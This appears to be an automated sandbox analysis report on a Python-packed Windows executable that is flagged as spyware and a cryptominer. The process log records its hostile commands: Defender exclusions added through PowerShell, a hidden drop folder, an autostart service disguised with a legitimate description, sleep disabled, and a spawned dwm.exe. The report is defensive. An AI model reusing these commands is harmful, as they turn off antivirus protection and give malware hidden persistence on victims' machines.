Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004B70B0	1_2_00007FFE004B70B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1C12	1_2_00007FFE004A1C12
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A155A	1_2_00007FFE004A155A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ED2F0	1_2_00007FFE004ED2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1FD7	1_2_00007FFE004A1FD7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E9370	1_2_00007FFE004E9370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004CB700	1_2_00007FFE004CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004E5770	1_2_00007FFE004E5770
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004ED7C0	1_2_00007FFE004ED7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1546	1_2_00007FFE004A1546
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1596	1_2_00007FFE004A1596
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A21DF	1_2_00007FFE004A21DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE00519B30	1_2_00007FFE00519B30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1AD7	1_2_00007FFE004A1AD7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1CBC	1_2_00007FFE004A1CBC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004C5CF0	1_2_00007FFE004C5CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1D8E	1_2_00007FFE004A1D8E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A1EDD	1_2_00007FFE004A1EDD
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10241920	1_2_00007FFE10241920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10241A00	1_2_00007FFE10241A00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE102412B0	1_2_00007FFE102412B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE1024FA88	1_2_00007FFE1024FA88
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE102423B0	1_2_00007FFE102423B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE102473F8	1_2_00007FFE102473F8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE102455D0	1_2_00007FFE102455D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10244650	1_2_00007FFE10244650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10245F00	1_2_00007FFE10245F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10248F40	1_2_00007FFE10248F40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10242F80	1_2_00007FFE10242F80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA1000	1_2_00007FFE11EA1000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA77F8	1_2_00007FFE11EA77F8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA2DC0	1_2_00007FFE11EA2DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA3DC0	1_2_00007FFE11EA3DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA3B20	1_2_00007FFE11EA3B20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EA6080	1_2_00007FFE11EA6080
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11ECBBA0	1_2_00007FFE11ECBBA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC8D64	1_2_00007FFE11EC8D64
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC5324	1_2_00007FFE11EC5324
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC5AF8	1_2_00007FFE11EC5AF8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC9A7C	1_2_00007FFE11EC9A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC9E74	1_2_00007FFE11EC9E74
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC8660	1_2_00007FFE11EC8660
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132210C0	1_2_00007FFE132210C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13223B20	1_2_00007FFE13223B20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132411A0	1_2_00007FFE132411A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13241580	1_2_00007FFE13241580
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132418C0	1_2_00007FFE132418C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13383290	1_2_00007FFE13383290
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE1338531C	1_2_00007FFE1338531C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE14637CA0	1_2_00007FFE14637CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B2ED0	1_2_00007FFE148B2ED0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B39F0	1_2_00007FFE148B39F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B32E0	1_2_00007FFE148B32E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B3F50	1_2_00007FFE148B3F50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B1F50	1_2_00007FFE148B1F50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B27A0	1_2_00007FFE148B27A0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll 4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FF78D282AD0 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C931 appears 39 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C93D appears 69 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C265 appears 48 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE004A1325 appears 477 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C16F appears 335 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C17B appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0051C181 appears 1188 times

Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.5.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: di.exe.6.dr

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000003.1815133932.00000251E0264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1815322926.00000251E0264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1808732092.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000000.00000003.1812391661.00000251E0264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs file.exe
Source: file.exe, 00000000.00000003.1809439906.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1809796789.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1810195532.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1810059866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1809616869.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1808920085.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1809919866.00000251E0262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2090208895.00007FFE13216000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2087409443.00007FFDFAFDA000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs file.exe
Source: file.exe, 00000001.00000002.2090407450.00007FFE1324E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2089554379.00007FFDFF3F4000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenamelibsslH vs file.exe
Source: file.exe, 00000001.00000002.2090767005.00007FFE14649000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000001.00000002.2088981676.00007FFDFB681000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs file.exe
Source: file.exe, 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2061397611.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2064300732.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs file.exe
Source: file.exe, 00000005.00000003.2060706350.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2061238143.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2067346492.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2060889706.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2067157657.000002A2E3A03000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2060566259.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2061678373.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2061099852.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000005.00000003.2060353879.000002A2E3A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@46/39@1/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D288540 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF78D288540

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\driverpatch9t1ohxw8

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1780:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Windows\System32\dwm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\ftczpzyunmuonzdm

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI67402

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dwm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 34%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc description DrvSvc "Launches applications associated with still image acquisition events.""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc description DrvSvc "Launches applications associated with still image acquisition events."
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc description DrvSvc "Launches applications associated with still image acquisition events.""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto	Jump to behavior
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc description DrvSvc "Launches applications associated with still image acquisition events."	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
